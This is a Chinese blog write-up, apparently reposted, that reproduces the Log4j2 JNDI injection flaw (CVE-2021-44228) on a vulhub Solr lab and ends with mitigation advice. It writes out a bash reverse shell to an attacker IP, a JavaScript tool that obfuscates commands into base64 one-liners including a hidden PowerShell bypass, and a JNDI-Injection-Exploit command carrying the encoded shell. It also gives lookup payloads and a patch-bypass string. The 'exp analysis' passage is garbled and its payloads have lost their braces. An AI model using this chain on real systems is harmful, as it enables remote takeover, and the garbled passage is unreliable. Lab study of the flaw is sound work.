Log4j2远程代码执行漏洞(cve-2021-44228)复现

Posted citytwilight

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Log4j2远程代码执行漏洞(cve-2021-44228)复现相关的知识,希望对你有一定的参考价值。

Log4j2远程代码执行漏洞(cve-2021-44228)复现(反弹shell)

前言

漏洞描述

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码

什么是LDAP?

轻型目录访问协议(Lightweight Directory Access Protocol,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。

目录结构的优点

假如有个一个数据库,名叫职业,该数据库有许多表如学生、老师、工程师…,表的字段也有许多,如姓名、性别、年龄…

假如有100条数据,其中包含工程师、学生、老师的信息。

(1)不使用目录结构存储:所有人的职业信息都存在一张表中,顺序杂乱无章,想要查询信息就需要从第一条开始遍历。如果数据在最后一条,需要查询100次。

(2)使用目录结构:那么100条数据就分布在三个表中,只需要查询其中的一个表就可得到结果,查询效率就高了

什么是JNDI?

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

通俗点讲,就是通过名字去寻找对应的资源、位置、服务、对象…当数据源发生变化时,只需要修改数据源就可以了。

下面用例子来解释下它的原理以及优点

例:

  • 在数据库的操作中,传统的连接方式肯定是除了提供数据源的信息(如数据库类型、端口、用户名、密码)外,还需要导入对应的包和类名,才能调用相应的数据库驱动进行连接。比如JDBC,如果数据库从mysql变成了mssql是不是就需要对以上信息修改,如果仅仅是改动配置文件的数据库信息还好说,但是,那些进行了数据库操作的java文件,肯定也需要重新导入相应的驱动和类,在大项目中就显得非常的麻烦了。那有没有一种方法,只需要更改配置文件的数据源就可以了呢?

  • 所以,JNDI提供这样的服务,在配置数据源时,对数据源进行命名,当需要进行数据库操作时,只需要提供数据源的名称即可。如果数据库的配置发生变化时,开发人员只需要改变数据源你的信息,其他的都交给JNDI去管,我们只要保证数据源的命名不变就可以了。

如果要说JNDI具体的作用是什么,我认为就相当于一个管理部门,而它的职责是对目标资源进行统一调配和管理,当访问者需要调配资源时,只需要提供资源的名字,剩下的都交给JNDI去实现即可。

比如:有这样一个场景,当向银行申请贷款时,银行需要对贷款人的信息进行评估(如贷款人的职业、月收入,信用怎么样,是不是老赖,有没有过借钱不还的案例),从而决定是否同意贷款。如果这些信息都需要银行去收集并验证真实性,就会非常的麻烦,甚至还有可能收集的情况不真实。那么,能不能有这样一个部门,只要银行向该部门提供贷款人的姓名和身份证号就可以得到贷款人的信用结果呢?而这个部门就扮演着JNDI的角色。。。

而秘书,也扮演着JNDI的角色,老板需要什么资料、找哪个员工,只要提供名字就行,剩下的秘书去解决就行了。

JNDI实现原理

JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。

格式 $jndi:rmi:192.168.61.129:1099/kvssa5

log4j2漏洞原理

日志中包含 $,lookup就会去解析括号里面的内容,

如:攻击payload:$jndi:rmi:192.168.96.1:1099/wqiyua

当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令执行漏洞

exp分析

j n d i : l d a p : 192.168.61.129 : 1099 / s h e l l h t t p : / / 192.168.61.129 / k v s s a 5 其 中 k v s s a 5 为 恶 意 脚 本 当 用 户 输 入 信 息 时 , 应 用 程 序 中 的 l o g 4 j 2 组 件 会 将 信 息 记 录 到 日 志 中 假 如 日 志 中 含 有 该 语 句 jndi:ldap:192.168.61.129:1099/shell http://192.168.61.129/kvssa5 其中kvssa5为恶意脚本 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中 假如日志中含有该语句 jndi:ldap:192.168.61.129:1099/shellhttp://192.168.61.129/kvssa5kvssa5log4j2jndi:ldap:192.168.61.129:1099/kvssa5,log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.61.129:1099/kvssa5
解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害

影响范围

  • Apache Log4j 2.x < 2.15.0-rc2

  • 供应链影响范围

    Spring-Boot-strater-log4j2
    
    Apache Struts2
    
    Apache Solr
    
    Dubbo
    
    Redis
    
    Logstash
    
    Kafka
    
    Apache Flink
    
    Apache Druid
    
    ElasticSearch
    
    Flume等
    

复现过程

环境搭建

vulhub靶场下载地址: https://vulhub.org/#/docs/

进入我们需要复现的漏洞靶场文件夹下,输入命令 : docker-compose up -d

查看端口、IP

验证漏洞

靶场启动成功后,浏览器访问: http://192.168.61.138:8983/solr/admin/cores?action=1

就进入到以下界面,显示的是一堆json格式的数据

访问http://dnslog.cn/ 获取一个临时域名

利用获取到的临时域名构造payload ,直接访问

访问之后,我们查看dnslog.cn页面,点击Refresh按钮刷新,可以看到有请求访问记录,表明存在log4j2漏洞

利用漏洞

已经漏洞存在的情况下,构造攻击payload执行命令反弹shell

bash -i >& /dev/tcp/192.168.61.129/4444 0>&1 

由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密

加密脚本

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
 
    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
 
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');
 
  function processInput() 
    var option = document.querySelector('input[name="option"]:checked').value;
 
    switch (option) 
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c echo,' + btoa(taInput.value) + '|base64,-d|bash,-i';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++)  poshInput += taInput.value[i] + unescape("%00"); 
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    
 
    if (!taInput.value) taOutput.value = '';
  
 
  taInput.addEventListener('input', processInput, false);
</script>
 
</body>
</html>

打开kali虚拟机,利用JNDI注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

JNDI注入工具下载地址: https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

192.168.61.129为kali攻击机监听地址,kali机执行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “反弹shell命令” -A “该IP是开启JDNI服务的主机地址”

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOS80NDQ0IDA+JjE=|base64,-d|bash,-i" -A 192.168.61.129

得到rmi、ldap参数:

然后在kali攻击机上开启nc监听4444端口

在浏览器访问payload

查看监听端,发现shell反弹成功

销毁靶场

修复与防御

修复

补丁之前

  1. 可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。
  2. 关闭lookup功能,即:设置 JVM 启动参数 - Dlog4j2.formatMsgNoLookups=true

更新到rce1

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。

但不久就被绕过了,经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发$jndi:ldap://127.0.0.1:1389/ badClassName(需要用户开启lookup功能的基础上才可以)

COPY$$::-jndi:rmi://ip:port/exp

更新到rce2

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

貌似又被绕过了

防御

  • 禁止用户输入的参数中出现攻击关键字(过滤用户输入)

  • 禁止lookup下载远程文件(命名应用)

  • 禁止log4j的应用去连接外网

  • 禁止log4j使用lookup方法

  • 从log4j 的jar包总删除lookup(2.10以下版本)

  • 升级到最新版本

  • 使用waf

参考资料

https://www.freebuf.com/vuls/329984.html

https://www.cnblogs.com/syroot/p/15907040.html

https://blog.csdn.net/yang1234567898/article/details/124255931

以上是关于Log4j2远程代码执行漏洞(cve-2021-44228)复现的主要内容,如果未能解决你的问题,请参考以下文章

漏洞log4j2远程执行代码复现实操代码例子

Log4j2远程执行代码漏洞如何攻击? 又如何修复

Apache Log4j2 远程代码执行漏洞被公开,风险等级严重

Apache Log4j2 远程代码执行漏洞修复

Apache Log4j2 远程代码执行漏洞修复

.NET 程序测试 Java 项目 log4j2 是否存在远程代码执行漏洞